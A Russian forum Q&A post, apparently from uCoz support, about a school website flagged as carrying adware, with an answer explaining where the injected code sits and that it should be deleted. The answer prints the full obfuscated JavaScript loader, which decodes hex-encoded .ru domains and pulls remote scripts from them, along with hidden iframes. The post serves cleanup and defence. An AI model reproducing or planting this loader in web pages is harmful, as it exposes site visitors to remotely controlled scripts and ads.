Что делать если на сайте школы вирус not-a-virus: HEYR:AdWare.script.Generic

голоса: 0
Адрес сайта http://schoolomsk144.ucoz.ru
| Автор: | Категория: Безопасность сайта

Ответов: 1

голоса: 0

Перейти в второй контейнер - http://schoolomsk144.ucoz.ru/panel/?a=tmpl;m=1;t=DRIGHTER в самом низу ищем скрипт:

<script>window.a1336404323 = 1;!function(){var t=JSON.parse('["703972696c7861677261386b762e7275","6e67756f67796e61387136682e7275"]'),o="26697",e=function(t){t=t.replace("www.","");for(var o="",e=0,n=t.length;e<n;e++)o+=t.charCodeAt(e).toString(16);return o},n=function(t){t=t.match(/[\S\s]{1,2}/g);for(var o="",e=0;e < t.length;e++)o+=String.fromCharCode(parseInt(t[e],16));return o},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},r="schoolomsk144.ucoz.ru",i=function(t,o,e){var lp=p();if(lp=="")return;var n=lp+"//"+t;if(window.smlo&&navigator.userAgent.toLowerCase().indexOf("firefox")==-1)window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&navigator.userAgent.toLowerCase().indexOf("firefox")==-1)window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var r=document.createElement("script");r.setAttribute("src",n),r.setAttribute("type","text/javascript"),document.head.appendChild(r),r.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof o&&o())},r.onerror=function(){this.a1649136515||(this.a1649136515=!0,r.parentNode.removeChild(r),"function"==typeof e&&e())}}},a=function(c){var f=t[c],l=n(f)+"/ajs/"+o+"/c/"+e(r)+"_"+(self===top?0:1)+".js";window.a3164427983=f,i(l,function(){},function(){t[c+1]&&a(c+1)})},f=function(){a(0)};f()}();</script><iframe id="a1996667054" src="https://su2lgyoeucscn.ru/f2.html?a=26697" style="display: none;"></iframe><iframe id="a754394637" src="https://doiuhrht.ru/u.html?a=26697" style="display: none;"></iframe>

вот его удалите. После читаем материал - http://www.ucoz.ru/qa/index.php/70005 и выполняем рекомендации так как у вас заражен браузер который вставляет вредоносные вставки в код сайта.

| Автор:
...